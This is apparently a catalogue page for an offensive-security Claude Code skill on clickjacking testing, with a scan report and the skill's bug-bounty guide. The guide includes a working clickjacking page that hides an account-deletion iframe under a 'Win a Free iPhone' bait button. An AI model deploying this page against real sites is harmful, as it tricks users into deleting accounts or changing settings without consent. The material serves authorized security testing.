clickjacking-ui-redressing

clickjacking-ui-redressing is a skill for Claude Code from akashrpatil/awesome-offensive-security-skills. It costs 55 tokens per session (2,362 once invoked), scanned A, a copy of clickjacking-ui-redressing, Apache-2.0.

A guide to testing clickjacking, where a malicious site places another site's interface inside a hidden or misleading frame. A victim may then click a real button without realising which action is being performed.

In plain words
What is it for?
It is for checking whether pages can be embedded by other sites and whether sensitive actions require extra confirmation.
Why use it?
It helps show when missing frame-protection headers could let attackers trick users into changing settings, deleting accounts, or approving permissions.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Security

Grade A, and why

clickjacking-ui-redressing scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 7d ago.

The scan reads SKILL.md. This mod also ships 1 executable file (scripts/process.py), listed below but not scanned — reading those needs a real analyzer, not pattern matching.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

Clickjacking (UI Redressing)

When to Use

  • When a target application lacks the X-Frame-Options or Content-Security-Policy: frame-ancestors HTTP response headers.
  • When you discover a state-changing action (e.g., a "Delete Account" button or "Transfer Funds" form) that does NOT require password re-authentication.
  • To execute a client-side attack escalating a Missing Headers vulnerability into a high-impact action (Bug Bounty requirement).

Prerequisites

  • Authorized scope and target URLs from bug bounty program
  • Burp Suite Professional (or Community) configured with browser proxy
  • Familiarity with OWASP Top 10 and common web vulnerability classes
  • SecLists wordlists for fuzzing and enumeration

Workflow

Phase 1: Detecting Framability

# Concept: If an application allows itself to be embedded inside an <iframe> on a 
# completely different domain, it is vulnerable to UI redressing.

# 1. Check HTTP Response Headers of the target page
HTTP/1.1 200 OK
# Notice that these headers are MISSING:
# X-Frame-Options: DENY / SAMEORIGIN
# Content-Security-Policy: frame-ancestors 'none' / 'self'

# 2. Basic Test HTML
# Save this locally as test.html and open it in your browser.
<html>
    <body>
        <h1>Can I frame the target?</h1>
        <iframe src="https://target.com/settings" width="800" height="600"></iframe>
    </body>
</html>

# If target.com/settings successfully loads inside the iframe, Clickjacking is possible.

Phase 2: Exploitation Payload Construction

<!-- Concept: We must perfectly align our malicious "Click Here" button completely -->
<!-- ON TOP OF the victim's invisible "Delete Account" button inside the iframe. -->
<!-- We use CSS opacity and absolute positioning. -->

<!DOCTYPE html>
<html>
<head>
    <style>
        /* The invisible target iframe */
        iframe {
            position: absolute;
            top: 0;
            left: 0;
            width: 1000px;
            height: 800px;
            opacity: 0.0001; /* Set to 0.5 when testing, 0.0001 for real attack */
            z-index: 2; /* Iframe sits ON TOP of the bait button */
        }
        
        /* The visible bait the victim thinks they are clicking */
        .bait-button {
            position: absolute;
            /* YOU MUST ADJUST THESE TO PERFECTLY ALIGN WITH THE IFRAME'S TARGET BUTTON */
            top: 250px; 
            left: 100px; 
            z-index: 1; /* Bait sits UNDER the iframe */
            font-size: 20px;
            padding: 10px 20px;
            background-color: blue;
            color: white;
            cursor: pointer;
        }
    </style>
</head>
<body>
    <h1>Win a Free iPhone!</h1>
    <div class="bait-button">Click to Claim Prize!</div>
    
    <!-- The victim is authenticated on target.com, so the iframe loads their real profile -->
    <iframe src="https://target.com/account/settings/delete"></iframe>
</body>

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
